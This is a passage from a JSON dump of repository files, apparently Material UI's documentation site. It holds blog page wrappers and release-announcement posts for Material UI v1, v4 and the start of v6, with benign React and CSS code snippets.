colors, box-shadows, and more,\nall done using the flexible theming features of v5. [Head to the new website](/)!\n\n<img loading=\"lazy\" src=\"/static/blog/material-ui-is-now-mui/website-homepage.png\" alt=\"Screenshot of the new website homepage\" width=\"2400\" height=\"1300\" />\n\n:::info\nNote that these changes in the website and documentation do **not** impact the design of the components released under the `@mui/*` npm packages.\n:::\n\n## The path ahead\n\nThere are many more exciting things to come in the future as we roll into this new chapter.\nWe're grateful to have you with us, supporting the library, and helping it grow and mature.\n\nMaterial Design will continue to be supported with the same attention to detail as before.\nWe aim to keep serving those who like the library for closely following MD, while also leveraging the strong foundation built so far to offer new components, designs, and products.\n\nWe hope you like it. Happy building!\n"
  },
  {
    "path": "docs/pages/blog/material-ui-v1-is-out.js",
    "content": "import TopLayoutBlog from 'docs/src/modules/components/TopLayoutBlog';\nimport { docs } from './material-ui-v1-is-out.md?muiMarkdown';\n\nexport default function Page() {\n  return <TopLayoutBlog docs={docs} />;\n}\n"
  },
  {
    "path": "docs/pages/blog/material-ui-v1-is-out.md",
    "content": "---\ntitle: Material UI v1 is out 🎉\ndescription: It has taken us two years to do it, but Material UI v1 has finally arrived!\ndate: 2018-05-18T00:00:00.000Z\nauthors: ['oliviertassinari', 'mbrookes']\ntags: ['Material UI', 'Product']\nmanualCard: true\n---\n\n> React components that implement Google's Material Design.\n\n<img src=\"https://cdn-images-1.medium.com/max/2050/1*BKssrX-qEmyN6YaRNTvNlw.png\" width=\"1025\" height=\"342\" alt=\"Our new [documentation](https://mui.com/) header & logo by @hai-cea\" />\n\n<p class=\"blog-description\">Our new documentation header & logo by @hai-cea</p>\n\nIt has taken us two years to do it, but Material UI v1 has finally arrived!\nWe are so excited about this release, as it's setting a new course for the project. Thank you to _everyone_, especially to [the team](/about/), and to everyone who's contributed code, issue triage, and support. **Thank you.**\n\n✨✨✨ See the **[1.0.0 Release Note](https://github.com/mui/material-ui/releases/tag/v1.0.0)** on GitHub. ✨✨✨\n\n<iframe src=\"https://codesandbox.io/embed/4j7m47vlm4\" style=\"width: 100%; height: 300px; border: 0\"></iframe>\n\n<p class=\"blog-description\">One button</p>\n\n## High-level Goals for v1\n\nMaterial UI was started [3 years ago](https://github.com/mui/material-ui/commit/28b768913b75752ecf9b6bb32766e27c241dbc46) by [@hai-cea](https://github.com/hai-cea). The React ecosystem has evolved considerably since then, and we have also learned along the way. Two years ago, [@nathanmarks](https://github.com/nathanmarks/) [started](https://github.com/mui/material-ui/commit/cf0934dda2ef83852ca094ac7250e2d562ce6156) an ambitious task to rebuild Material UI from the ground-up, taking advantage of this knowledge to address long-standing issues in customizability, ease of use, and code quality.\n\n### Customizability\n\nMaterial UI v1 is our second stab at the execution of [the vision](/material-ui/discover-more/vision/).\nWe want Material UI to become whatever is generally useful for application development, all in the spirit of the Material Design guidelines. Material UI is not only an implementation of the Material Design guidelines, but a general use UI library of components that are needed by many. We are even allowing developers to build non Material themes on top of Material UI components. We will soon open source examples of this.\n\n- **CSS-in-JS**. We have seen [a great potential for **inline-styles** in the past](https://github.com/mui/material-ui/issues/30). It was an opportunity to solve four problems at once: removing the LESS toolchain dependency, allowing dynamic styles, allowing style code splitting and make overrides simpler.\n  Unfortunately, the **[execution didn't deliver](https://github.com/mui/material-ui/issues/4066)**. We were lacking key features only available in CSS: media queries, pseudo selectors, pseudo-elements, browser prefixes. Debugging was much harder. Overriding styles was very challenging – developers always had to look the implementation, and couldn't use CSS without relying on !important.\n  Two years ago, we decided to move away [from inline-styles toward **CSS-in-JS**](https://github.com/oliviertassinari/a-journey-toward-better-style). We are very happy with the outcome. We would like to thank [@kof](https://github.com/kof) for the awesome work he has done with [JSS](https://github.com/cssinjs/jss), the internal solution we use. It's allowing us to be [interoperable](/material-ui/integrations/interoperability/) with all the other styling solutions.\n\n- **Theme**. You can't have a good customizability story without a good theming story. We have been redesigning the theme. It's a [JavaScript object](/material-ui/customization/default-theme/) that contains all the variables and utility functions you might need to style your components: a palette, a typography, breakpoints helpers, transition helpers, etc.\n  The theme object can be dynamic and nested.\n\n### Ease of use\n\nWe know the ease of use is a critical part of user acquisition. The more users we have, the more likely we can make the project sustainable. Improving the ease of use comes in different flavors:\n\n- **Onboarding**. We have reduced the onboarding friction as much as possible. We know the onboarding is a critical step for user acquisition. The onboarding friction comes in different flavors:\n  We have reduced the number of installation steps needed. It should be as simple as 1. npm install @mui/material and 2. import Button from '@mui/material/Button'; . We don't ask for polyfill, custom webpack plugin or any specific build tool. The usage of MuiThemeProvider is no longer mandatory.\n\n- **Examples**. We are hosting [example projects](https://github.com/mui/material-ui/tree/master/examples) with the most popular solutions to start a project: [create-react-app](https://github.com/facebook/create-react-app), [Next.js](https://github.com/vercel/next.js), [Gatsby](https://github.com/gatsbyjs/gatsby), and CDN.\n\n- **Isolation**. Our components now work in isolation. You should be able to use a single Material UI component in an existing codebase without any side effects. No global CSS override needed, no bundle size bloat.\n\n- **Documentation**. We have made a huge investment in the documentation. We use [Next.js](https://github.com/vercel/next.js) for a blazingly fast navigation experience. It's also allowing us to provide a first server-side support for the components. We had added a search bar powered by [Algolia's DocSearch](https://docsearch.algolia.com/). (don't miss the s shortcut to focus the search bar). We have added many new documentation sections: guides, FAQ, etc. We have made the demos more interactive thanks to a direct integration with CodeSandbox.\n\n- **DOM**. We have focused on providing low-level components, in this v1 rewrite. By low-level, we mean components as close as possible to the underlying DOM structure and as stateless as possible. It should help reduce the mental overhead of using the components, encourage interoperability, and simplify customizability. For instance with the TextField. The component was broken down into 4 components. Our Input exposes the same API than a native input. You can switch one for the other. Leveraging this structural choice, we were able to demonstrate 3 autocomplete integration example with [Downshift](https://github.com/downshift-js/downshift), [react-autosuggest](https://github.com/moroshko/react-autosuggest), and [react-select](https://github.com/JedWatson/react-select).\n\n### Code quality\n\nMany people discover web development through Material UI but it's also used in production to serve millions of customers. We have an important responsibility, our implementation needs to be rock solid.\n\n- **Best practices.** We are following the best practices as much as possible. We have made the components: fully accessible, fully [HTML5 compliant](https://validator.w3.org/) and SEO friendly.\n\n![[Lighthouse](https://github.com/GoogleChrome/lighthouse) report of the Material UI documentation homepage](https://cdn-images-1.medium.com/v2/resize:fit:2000/1*_x_j-jasswGw0WaDyeHk-g.png)\n\n<p class=\"blog-description\">Lighthouse report of the Material UI documentation homepage</p>\n\n- **Continuous integration.** Every single line of code is tested. We have an impressive [💯% test coverage](https://codecov.io/gh/mui/material-ui/branch/master). With more than 700 contributors, it's really important. All these tests allow us to quickly iterate and with confidence. We run the test suite runs on all the supported platforms. We also run more than [180 visual regression tests](https://app.argos-ci.com/mui/material-ui/builds) thanks to [Argos-CI](https://www.argos-ci.com/).\n\n![An example [BrowserStack](https://www.browserstack.com/) build](https://cdn-images-1.medium.com/v2/resize:fit:2000/1*bnWGqotk36ivrYTp3dY7fA.png)\n\n<p class=\"blog-description\">An example BrowserStack build</p>\n\n- **Bundle size**. If you take all the Material UI components, your bundle will weigh more than 100 kB gzipped. Material UI looks like a huge dependency but it's fine in practice with code splitting. You will most likely use ~40% of the library on a given page/screen. The bundle size is important. It's [constantly monitored](https://github.com/mui/material-ui/blob/ca69253843208c21593fff230151e1fffd93a566/.size-limit), which prevents us from introducing size regressions, and allows us to recognize positive efforts.\n\n![An example of [size-limit](https://github.com/ai/size-limit) output](https://cdn-images-1.medium.com/v2/resize:fit:2000/1*AQoyq9OvjFZJE2Ep0UtCzA.png)\n\n<p class=\"blog-description\">An example of size-limit</p>\n\n- **Development warnings**. Because the API surface of UI components is so large, it's easy to leave the beaten path. We have condensed a large number of the issues raised into a number of informative development mode warnings to help you stay on the right track. Aside from [propTypes](https://legacy.reactjs.org/docs/typechecking-with-proptypes.html), we have added more than [20 warnings](https://github.com/mui/material-ui/search?p=1&q=warning&type=&utf8=%E2%9C%93), and the list will grow as we discover more edge cases.\n\n## What's new in v1?\n\nThere are so many new things, we can't be exhaustive. Aside from what we have already announced, you will find:\n\n- Simpler and more powerful theme\n- Grid layout component\n- New documentation\n- Right-To-Left support\n- First class server-side support\n- [Premium themes](https://mui.com/store/)\n- First class TypeScript support\n- **And much, much more**\n\n## What's next?\n\n- **Material Design.** The Google Design team has recently released a new iteration on the Material Design guidelines, it's focused on themability. This is great news! We will do our best to be up to date. It also confirms that heavily investing in customizability for v1 was a good call. We will continue our efforts.\n\n- **More utils.** We want to work on new utility components: Spacing, Display, Color, etc.\n- **Documentation.** We want to host multiple version of the documentation. Each minor release will bring a new hosted version of our documentation. Right now, we have v1.0.0, and come v1.1.0's release, we'll add that too. Prior releases will continue to be linked from our navigation as is already the case for v0.x.\n  We want to translate the documentation into Chinese and more languages. [Any help is welcomed!](https://github.com/mui/material-ui/issues/9511)\n- **Learning materials.** The quality of the documentation is equally as important as the quality of the implementation, and while the reference documentation is comprehensive, we could author a [learning tutorial](https://learnnextjs.com/) like Next.js has done, or an [egghead.io](https://egghead.io/) course.\n- **Themes.** We want to provide common layouts example to make getting started even easier. We also plan on adding more premium themes.\n- **Performance.** We can't optimize something we can't measure, and we don't currently have a CI performance benchmark, so we will need to build one and start investigating bottlenecks.\n- **Bundle size.** The library needs to be as small as possible, so we need to work on solutions to further reduce the bundle size, for instance, supporting [Preact](https://preactjs.com/) or [Nerv](https://nerv.aotu.io/) can help.\n- **Type checking.** We will continue to improve the TypeScript and maybe the Flow coverage of the library.\n\n## Premium themes\n\nWe have shipped the long-awaited Material UI v1 stable release. With a new codebase designed to better support customization, it's the perfect timing to start building and promoting premium themes. We are very happy to announce [the first two](https://mui.com/store/) from [Creative Tim](https://mui.com/store/authors/creative-tim/). More are coming.\n\n![Creative Tim themes](https://cdn-images-1.medium.com/v2/resize:fit:2000/1*jPOu6n1EMsqv4Gh652MtPA.png)\n\n<p class=\"blog-description\">Creative Tim themes</p>\n\n![A preview of an open-source theme we will soon release.](https://cdn-images-1.medium.com/v2/resize:fit:2000/1*CThJG6Kuk-XlSM53jM6KLQ.png)\n\n<p class=\"blog-description\">A preview of an open-source theme we will soon release.</p>\n\n## Thank you\n\nFinally, one last thank you to everyone who's contributed to Material UI v1.\nI'm so excited at the idea we are making it stable, but rest assured, it's just the beginning. We will keep working hard on delivering the best possible UI library components.\n\nMaterial UI is an MIT-licensed open-source project. It's an independent project with ongoing development helped by the support of these awesome [backers](/material-ui/discover-more/backers/). If you'd like to join them, please consider:\n\n- [Become a backer or sponsor on Open Collective](https://opencollective.com/mui-org).\n- [Become a backer or sponsor on Patreon](https://www.patreon.com/oliviertassinari).\n\n![Our gold sponsors](https://cdn-images-1.medium.com/v2/resize:fit:2000/1*fx_BaOxYY0ZJo3n9iXI1Jg.png)\n\n<p class=\"blog-description\">Our gold sponsors</p>\n\n- GitHub: https://github.com/mui/material-ui ⭐\n- X: https://x.com/MUI_hq\n"
  },
  {
    "path": "docs/pages/blog/material-ui-v4-is-out.js",
    "content": "import TopLayoutBlog from 'docs/src/modules/components/TopLayoutBlog';\nimport { docs } from './material-ui-v4-is-out.md?muiMarkdown';\n\nexport default function Page() {\n  return <TopLayoutBlog docs={docs} />;\n}\n"
  },
  {
    "path": "docs/pages/blog/material-ui-v4-is-out.md",
    "content": "---\ntitle: Material UI v4 is out 🎉\ndescription: Material UI v4 has finally arrived. We are so excited about this release, as it defines better foundations for the UI components.\ndate: 2019-05-23T00:00:00.000Z\nauthors: ['oliviertassinari', 'mbrookes', 'eps1lon']\ntags: ['Material UI', 'Product']\nmanualCard: true\n---\n\n> React components for faster and simpler web development. Build your own design system, or start with Material Design.\n\nMaterial UI v4 has finally arrived. We are so excited about this release, as it defines better foundations for the UI components. Thank you to everyone, especially to [the team](/about/), and to everyone who's contributed code, issue triage, and support. **Thank you.**\n\n✨✨✨ See the **[4.0.0 Release Note](https://github.com/mui/material-ui/releases/tag/v4.0.0)** on GitHub. ✨✨✨\n\n![TypeScript switch](/static/blog/material-ui-v4-is-out/banner.png)\n\n<p class=\"blog-description\">https://material-ui.com/</p>\n\n## Summary\n\n- [High-level goals for v4](#high-level-goals-for-v4)\n- [What's new?](#whats-new)\n- [What's next?](#whats-next)\n- [Premium theme store](#premium-theme-store)\n\n## High-level goals for v4\n\nMaterial UI v1 was [released](https://medium.com/material-ui/material-ui-v1-is-out-e73ce13463eb) one year ago. Version 4 is our most important major release since then. For those unfamiliar with the history of the project, we didn't release a v2, and v3 only introduced a slight browsers support change.\n\nThis release happens within our [fixed frequency](https://mui.com/versions/#release-frequency) release strategy. We try to release a major at least every 12 months and at most every 6 months. The migration from v0 to v1 was painful, it almost felt like using two different UI libraries. We've done our best to minimize the time needed to migrate from v3 to v4. To help ease the transition, you can follow this [migration guide](/material-ui/migration/migration-v3/) 📚. It shouldn't take more than a few hours.\n\nThis release is influenced by two major factors. First, following the Developer Survey we ran in March, we have [analyzed the results](/blog/2019-developer-survey-results/) and used them to change [our priorities](/material-ui/discover-more/roadmap/) for the coming year. Secondly, we needed to be up to date with the latest best practices in the React community and with the Material Design Specification.\n\n### Customization\n\nThe Material Design team at Google has made the customization of their design system framework a core feature: [Material Theming](https://m2.material.io/design/material-theming/overview.html). It's an important dimension of the library for us. Since the release of v1, we have been improving the component customization demos, release after release. We demonstrate a wide range of different designs:\n\n![Demo1](/static/blog/material-ui-v4-is-out/demo1.png)\n\n<p class=\"blog-description\"><a href=\"https://v4.mui.com/components/text-fields/#customized-inputs\">live demo</a></p>\n\n![Demo2](/static/blog/material-ui-v4-is-out/demo2.png)\n\n<p class=\"blog-description\"><a href=\"https://v4.mui.com/components/tabs/#customized-tabs\">live demo</a></p>\n\n![Demo3](/static/blog/material-ui-v4-is-out/demo3.png)\n\n<p class=\"blog-description\"><a href=\"https://mui-treasury.com/?path=/story/button-github--github\">live demo</a></p>\n\nAfter listening to v3 customization experiences of hundreds of developers, we realized that we could do better. We have found 4 classes of common problems.\n\n- **CSS specificity**. The developers' style specificity needs to be higher to win over the style Material UI injects in the page. By default, Material UI injects its style at the end of the `<head>` element. However, styled components and other popular styling solutions inject the style just before it, losing specificity. To solve the problem, we have introduced a new prop: `injectFirst`.\n\n```jsx\nimport { StylesProvider } from '@mui/styles';\n\n<StylesProvider injectFirst>\n  {/* Your component tree.\n      Styled components can override Material UI's styles. */}\n</StylesProvider>;\n```\n\n![injectFirst](/static/blog/material-ui-v4-is-out/injectFirst.png)\n\n<p class=\"blog-description\">The DOM output once injectFirst is used.</p>\n\n- **classes boilerplate**. Early in the v1 effort, we [decided](https://github.com/oliviertassinari/a-journey-toward-better-style) to use a CSS-in-JS styling solution: [JSS](https://cssinjs.org/). The large majority of the CSS-in-JS solutions output non-deterministic class names, for example `.fHmkjM`. This design decision helps the isolation of the style of each component, however, it makes the overrides harder. We introduced a `classes` API in v1 to target all our elements as an attempt to mitigate this problem.\n  We have observed the use of this API for months and have seen many people struggling with it. It can be challenging to apply the class name on the right element and requires boilerplate as well.\n  As an attempt to further improve the situation, we have changed the class name generation to [output global class names](https://v6.mui.com/system/styles/advanced/), while keeping the `classes` API working as before 💅.\n\n![styled-components](/static/blog/material-ui-v4-is-out/styled-components.png)\n\n<p class=\"blog-description\">side by side comparison of both valid classes vs global approaches.</p>\n\n⚠️ Using global class names provide more power but comes with responsibility. We encourage patterns that increase your custom style isolation.\n\n- **Pseudo-classes.** A pseudo-class is a keyword added to a selector that specifies a special state of the selected element. The native elements support a wide range of pseudo-classes, the most popular ones being: `:focus`, `:hover`, `:active`. Sometimes, Material UI can't use a pseudo-class as the state doesn't exist in the platform, for example the selected state of a menu item. Material UI implements support of eight different [custom pseudo-classes](/material-ui/customization/how-to-customize/#state-classes). It's important to understand that you need to increase the specificity when using a pseudo-class. For instance:\n\n```css\n.MenuItem {\n  color: black;\n}\n/* We increase the specificity */\n.MenuItem.Mui-selected {\n  color: blue;\n}\n```\n\n- **Dynamic variations.** As one of the most requested features, we have added the support for style functions:\n\n```jsx\nconst useStyles = makeStyles({\n  // style rule\n  foo: (props) => ({\n    backgroundColor: props.backgroundColor,\n  }),\n  bar: {\n    // CSS property\n    color: (props) => props.color,\n  },\n});\n\nfunction MyComponent() {\n  // Simulated props for the purpose of the example\n  const props = {\n    backgroundColor: 'black',\n    color: 'white',\n  };\n  // Pass the props as the first argument of useStyles()\n  const classes = useStyles(props);\n\n  return <div className={`${classes.foo} ${classes.bar}`} />;\n}\n```\n\n### Documentation\n\nDocumentation was reported as the 3rd most critical pain point in the Developer Survey. We have fixed some of the reported issues and aim to continuously improve going forward.\n\n- **TypeScript**. TypeScript's growth is impressive, the traffic of their documentation website has grown by a factor of 6 in 3 years. Material UI v1 was released with built-in TypeScript definitions, but we needed to do more. Sebastian has led the effort to migrate all the demos from JavaScript to TypeScript. This has two important implications. First, we type check our demos, this drastically improves our TypeScript test coverage. We have fixed many issues during the migration. Second, if you are writing your application with TypeScript, you can directly copy & paste our demos without needing to convert them, or having to fix the obscure errors.\n\n![TypeScript](/static/blog/material-ui-v4-is-out/typescript.png)\n\n<p class=\"blog-description\">https://www.typescriptlang.org traffic estimation over time.</p>\n\n![switch](/static/blog/material-ui-v4-is-out/switch.png)\n\n<!-- vale MUI.CorrectReferenceAllCases = NO -->\n\n<p class=\"blog-description\">Use the JS/TS toggle to see code in JavaScript or TypeScript</p>\n\n<!-- vale MUI.CorrectReferenceAllCases = YES -->\n\n- **i18n**. Developers come to Material UI's documentation from all around the world. We want to include as many people as possible 🌎🌍🌏. We have completed the effort started in v3 by working on the Algolia search support, Google search indexing, Table Of Contents and Side Nav infrastructure.\n\n  We would like to thank [Danica Shen](https://github.com/DDDDDanica), [Dominik Engel](https://github.com/Domino987), and [Jairon Alves Lima](https://github.com/jaironalves) for their heroic work on the 🇨🇳, 🇩🇪 and 🇧🇷 translations, while not forgetting the other 348 (and growing) translators.\n\n- **Best practices**. We are now recommending the use of the hooks API over the classes API wherever possible. We have migrated a large portion of the demos to showcase a single approach.\n- **A better UX**. We have changed the menu organization to group all the components under a single navigation item. We have changed the background color to white to increase the text contrast and readability.\n\n### Performance\n\nYou may be afraid that using Material UI's components will bloat and slow down your website/application. Would you be better off writing your own components? Well, it's our mission to make this cost as minimal as possible 🚀.\n\n- **Tree shaking**. Material UI v4 is the first version to support native tree shaking with ES modules. This has one important DX benefit—you can now use destructured imports when importing multiple components:\n\n```js\nimport {\n  Table\n  TableBody,\n  TableCell,\n  TableHead,\n  TableRow,\n  Paper,\n} from '@mui/material';\n```\n\n- **Bundle size reduction**. The bundle size went from 95 kB gzipped to below 80 kB gzipped between the last v3 release and the first v4 beta release. This is _remarkable_ considering that we have added new features and components along the way 😍! This was made possible by many small incremental changes: tree shaking, removal of [multiple](https://github.com/timoxley/keycode) [internal](https://github.com/oliviertassinari/react-event-listener) dependencies, hooks migration, clsx migration, [smart Babel plugin](https://github.com/merceyz/babel-plugin-optimize-clsx), etc.\n\n![bundle-size](/static/blog/material-ui-v4-is-out/bundle-size.png)\n\n<p class=\"blog-description\">A -15% bundle size reduction. ⚠️ Please don't use the absolute number to compare different UI libraries. Nobody should import the whole barrel index.js file. What matters is the cost of the individual modules you import.</p>\n\n- **Continuous bundle size tracking**. This bundle size reduction is only possible because we track this metric in each pull request. We have improved our strategy moving from [size-limit](https://github.com/ai/size-limit) to a React [inspired solution](https://github.com/mui/material-ui/pull/14662).\n\n![trackbundle](/static/blog/material-ui-v4-is-out/trackbundle.png)\n\n<p class=\"blog-description\">Fine level tracking</p>\n\n- **Preact X.** We have introduced a working [integration example with Preact](https://github.com/mui/material-ui/blob/HEAD/examples/material-ui-preact/README.md). Preact is a fast, 1/10 smaller alternative to React, with the same modern API. We will do our best to support it.\n- **Runtime performance**. We have heard that some people struggle with the runtime cost of using Material UI. We have solved a few problems reported, but nothing systematic. We have observed [a slight gain](https://github.com/mui/material-ui/pull/15023) by moving from the classes API to the hooks API. However, it's hard to make progress as we lack a properly setup performance bench. It's something to consider for v5.\n\n### Preparing for the future\n\nMaterial UI v4 depends on React ≥16.8.0. This is the first version of React that supports the [new Hooks API](https://legacy.reactjs.org/docs/hooks-intro.html).\n\n- **Ref forwarding**. Most of the time, you use the `ref` prop to access the underlying DOM node of a React element. You might want to focus an element, compute the position of an element, and so on. You should never need to access a Material UI component's instance methods, they are considered private. The components expose an `action` when it's really needed. For instance, you might want to update the tab indicator position when it goes out of sync with the tab item position. To ease this use case, Sebastian has lead an effort to implement [`React.forwardRef()`](https://legacy.reactjs.org/docs/forwarding-refs.html). In practice, this means that you can retrieve a reference to the DOM node like you would do with a built-in component (`button`, `div`, etc.):\n\n```jsx\nimport { Button } from '@mui/material';\n\nfunction MyButton() {\n  const myRef = React.useRef();\n\n  return <Button ref={myRef}>;\n}\n```\n\n- **Hooks migration**. While there is [no plan](https://legacy.reactjs.org/docs/hooks-intro.html#gradual-adoption-strategy) to remove classes from React, the React Team [encourages](https://legacy.reactjs.org/docs/hooks-faq.html#do-i-need-to-rewrite-all-my-class-components) new code to be written with the hooks API.\n  Josh has led an effort to rewrite the vast majority of our components with the hooks API. The change has a couple of advantages.\n\n  Not all [the platforms we support](/material-ui/getting-started/supported-platforms/) can use the class API natively, so we transpile the syntax with Babel. Functions are supported everywhere, they require fewer line of code. We have observed a -2% gzipped bundle reduction by removing the need to transpile classes.\n\n  It reduces the noise in the React Dev Tools ⚛️, since we could reduce the number of intermediary elements from 5 to 2 in the most common cases.\n  We have found the hooks API easier to work with: to write, to read, and to change. This is a net positive for everyone's productivity.\n  Developers read our source to find inspiration, so we should do our best to promote the best patterns.\n\n  ![devtools](/static/blog/material-ui-v4-is-out/devtools.png)\n\n  <p class=\"blog-description\">React Dev Tools output for one Typography element in production (<a href=\"https://github.com/mui/material-ui/pull/15023\">this POC</a> might further improve the situation).</p>\n\n- **Concurrent mode**. React has shared its [release timeline](https://legacy.reactjs.org/blog/2018/11/27/react-16-roadmap.html#react-16x-q2-2019-the-one-with-concurrent-mode) for the important features coming into React. [Concurrent mode](https://legacy.reactjs.org/blog/2018/11/27/react-16-roadmap.html#react-16x-q2-2019-the-one-with-concurrent-mode) should be released within the next few months. Concurrent Mode lets React apps be more responsive by rendering component trees without blocking the main thread. We have worked on getting ready for it. Most of the work was related to fixing the [<React.StrictMode>](https://legacy.reactjs.org/docs/strict-mode.html) warnings. You should soon be able to leverage it 🔥.\n- **Shallow tests.** We have removed the majority of our internal shallow tests to rely on [full mount tests](https://x.com/dan_abramov/status/1109461529227866112).\n\n### Material Design\n\nMost of our users are interested in the good looking functional aspect of our components, rather than in a strict application of the Material Design guidelines. However, we think that it's important for us to keep up to date with the guidelines. The specification received it's most significant update since Google made it the design language for its apps in 2014, at [Google I/O 2018](https://design.google/library/io-2018-our-definitive-guide-design/).\n\nThe Material Design \"v2\" announcement caught us by surprise when we released Material UI v1. We have worked on upgrading our components since then. In v4, we have updated the styles of the Tab, Snackbar, Checkboxes, Radios, Switches, List, Dialog, and other components ✨.\n\n![material1](/static/blog/material-ui-v4-is-out/material1.png)\n\n<p class=\"blog-description\">Dense Outlined text field</p>\n\n![material2](/static/blog/material-ui-v4-is-out/material2.png)\n\n<p class=\"blog-description\">Dense Filled text field</p>\n\n## What's new?\n\nThere are so many new things, we can't be exhaustive. Aside from what we have already announced, you will find:\n\n- A new **strapline** \"_React components for faster and simpler web development. Build your own design system, or start with Material Design._\" that better embodies our mission and emphasize the [customizability potential](https://techcrunch.com/2018/05/08/google-makes-its-material-design-system-easier-to-customize/).\n- New [templates](/material-ui/getting-started/templates/).\n\n![layout](/static/blog/material-ui-v4-is-out/layout.png)\n\n<p class=\"blog-description\">One example among others</p>\n\n- [Responsive font sizes.](/material-ui/customization/typography/#responsive-font-sizes)\n\n![font-size](/static/blog/material-ui-v4-is-out/font-size.png)\n\n- [A Box + system utility helpers](https://medium.com/material-ui/introducing-material-ui-design-system-93e921beb8df).\n\n![Box usage example](/static/blog/material-ui-v4-is-out/box.png)\n\nAn application example of the Box component.\n\n- [A better spacing helper.](/material-ui/customization/spacing/)\n\n![Spacing usage example](/static/blog/material-ui-v4-is-out/spacing.png)\n\nAn example of the new spacing helper API.\n\n- A new [@material-ui/pickers](https://github.com/mui/material-ui-pickers) package created and supported by [Dmitriy Kovalenko](https://github.com/dmtrKovalenko) 📅.\n\n![Inline pickers](/static/blog/material-ui-v4-is-out/pickers.png)\n\n<p class=\"blog-description\">Keyboard support</p>\n\n![inlinepickers](/static/blog/material-ui-v4-is-out/inlinepickers.png)\n\n<p class=\"blog-description\">Inline mode</p>\n\n- A new [@mui/styles](https://v6.mui.com/system/styles/basics/) package that isolates our styling solution. It can be used independently of the core components. It comes with a hooks API that requires less boilerplate 😍\n\n```jsx\nimport * as React from 'react';\nimport { makeStyles } from '@mui/material/styles';\n\nconst useStyles = makeStyles({\n  root: {\n    background: 'linear-gradient(45deg, #FE6B8B 30%, #FF8E53 90%)',\n    border: 0,\n    borderRadius: 3,\n    boxShadow: '0 3px 5px 2px rgba(255, 105, 135, .3)',\n    color: 'white',\n    height: 48,\n    padding: '0 30px',\n  },\n});\n\nexport default function Hook() {\n  const classes = useStyles();\n  return <button className={classes.root}>Hook</button>;\n}\n```\n\n⚠️ Be aware of the difference between _@mui/styles_ and _@mui/material/styles_. The latter contains the [default theme](/material-ui/customization/default-theme/).\n\n- A well supported [Gatsby plugin](https://github.com/hupe1980/gatsby-plugin-material-ui) for _@mui/styles_.\n- A [Cookbook](https://www.packtpub.com/product/react-material-ui-cookbook/9781789615227) published by Packt and written by Adam Boduch.\n\n![cookbook](/static/blog/material-ui-v4-is-out/cookbook.png)\n\n## What's next?\n\nTogether, we have accomplished most of the objectives we defined a year ago in the v1 release [blog post](https://medium.com/material-ui/material-ui-v1-is-out-e73ce13463eb). We're proud of everyone who contributed. We're going to try to execute these new objectives with the same regularity:\n\n- **More components.** This is, by far, the most requested improvement dimension of the library. We have identified a few useful components we are interested in building:\n  - Layout components\n  - Autocomplete/ ComboBox / Dropdown List / MultiSelect\n  - Slider in core and the support for range values\n  - Tree view\n  - Dropzone / Upload\n  - Skeleton\n  - Jumbotron\n  - Carousel\n  - Rating\n  - Timeline\n  - Advanced table\n\nLet us know the components you want! 🚀\n\n- **Documentation**. The documentation is paramount. We are working on a page ranking mechanism that will help us better prioritize our effort on the documentation.\n- **Use `system` in the core.** We have received great feedback on the new system package. Going forward, we will try to move it to the core components. Ideally, you should be able to use dynamic color & variants from your theme as well as have access to all the props:\n\n```jsx\nimport { Button } from '@mui/material';\n\n<Button mt={{ xs: 2, md: 3 }}>Hello worlds</Button>;\n```\n\n- **Styled components.** We have seen many people asking for migration to styled components. We want Material UI v5 to be better aligned with the community's best-loved tools, but at the same time, we don't want to break your code.\n  So we will work on isolating the components from the styling solution. The new _@mui/styles_ package is the first step in this direction. We envision a world where you can use Material UI styled with styled components, linaria, and JSS or without any styles.\n  Developers should be able to use their preferred styling solution without paying the cost of two CSS-in-JS runtimes.\n- **Accessibility.** While we try to fix all accessibility issues as they are reported by our users, we feel that we can do better. We want to run a professional ADA audit of all our components ♿️.\n\n## Premium theme store\n\nHow are we going to sustain this ambitious roadmap?\nWe will follow the Bootstrap model.\nWe are working on [a Premium theme store](https://mui.com/store/).\n\nWe have built partnerships with the best theme authors of the ecosystem.\nWithin a few weeks, you should find a collection of the best Material UI templates and themes 😍.\n\n## Thank you\n\nFinally, one last thank you to everyone who's contributed to Material UI v4.\nI'm so excited about this release! It's just the beginning. We will keep working hard on delivering the best possible React UI framework components.\n\n<hr />\n\n_You can find the [same post on Medium](https://medium.com/material-ui/material-ui-v4-is-out-4b7587d1e701)._\n"
  },
  {
    "path": "docs/pages/blog/material-ui-v6-is-out.js",
    "content": "import TopLayoutBlog from 'docs/src/modules/components/TopLayoutBlog';\nimport { docs, srcComponents } from './material-ui-v6-is-out.md?muiMarkdown';\n\nexport default function Page() {\n  return <TopLayoutBlog docs={docs} srcComponents={srcComponents} />;\n}\n"
  },
  {
    "path": "docs/pages/blog/material-ui-v6-is-out.md",
    "content": "---\ntitle: Material UI v6 is out now 🎉\ndescription: Material UI v6 is now stable. It comes with new features, improvements, and an experimental integration for static CSS extraction.\ndate: 2024-08-26T00:00:00.000Z\nauthors:\n  [\n    'aarongarciah',\n    'brijeshb42',\n    'diegoandai',\n    'mnajdova',\n    'romgrk',\n    'samuelsycamore',\n    'siriwatknp',\n    'zanivan',\n  ]\ntags: ['Material UI', 'Product']\nmanualCard: true\n---\n\nMaterial UI v6 is now stable—just in time to celebrate [10 years since our initial commit](https://github.com/mui/material-ui/commit/28b768913b75752ecf9b6bb32766e27c241dbc46)!\nIt comes with new features, improvements, and an experimental integration for static CSS extraction.\n\n## Table of contents\n\n- [New features](#new-features)\n  - [CSS theme variables](#css-theme-variables)\n  - [Color schemes](#color-schemes)\n  - [CSS media `prefers-color-scheme`](#css-media-prefers-color-scheme)\n  - [Container queries](#container-queries)\n  - [New method of applying styles](#new-method-of-applying-styles)\n- [Improvements](#improvements)\n  - [Optimized runtime performance](#optimized-runtime-performance)\n  - [Revamped free templates](#revamped-free-templates)\n  - [Stabilized Grid v2](#stabilized-grid-v2)\n  - [Reduced package size](#reduced-package-size)\n- [Experimental CSS extraction via Pigment CSS](#experimental-css-extraction-via-pigment-css)\n  - [React Server Components](#react-server-components)\n  - [Built-in `sx` prop support](#built-in-sx-prop-support)\n- [React 19 support](#react-19-support)\n- [Full-stack apps via Toolpad Core](#full-stack-apps-via-toolpad-core)\n- [Get started with Material UI v6](#get-started-with-material-ui-v6)\n\n## New features\n\n### CSS theme variables\n\nCSS variables have become an industry standard for the web.\nMaterial UI v6 introduces a new `cssVariables` flag that generates CSS variables from serializable theme values such as palette, spacing, and typography.\n\n```js\nconst theme = createTheme({ cssVariables: true, ... });\n```\n\n{{\"component\": \"components/blog/material-ui-v6-is-out/ThemeTokens.js\"}}\n\nAfter 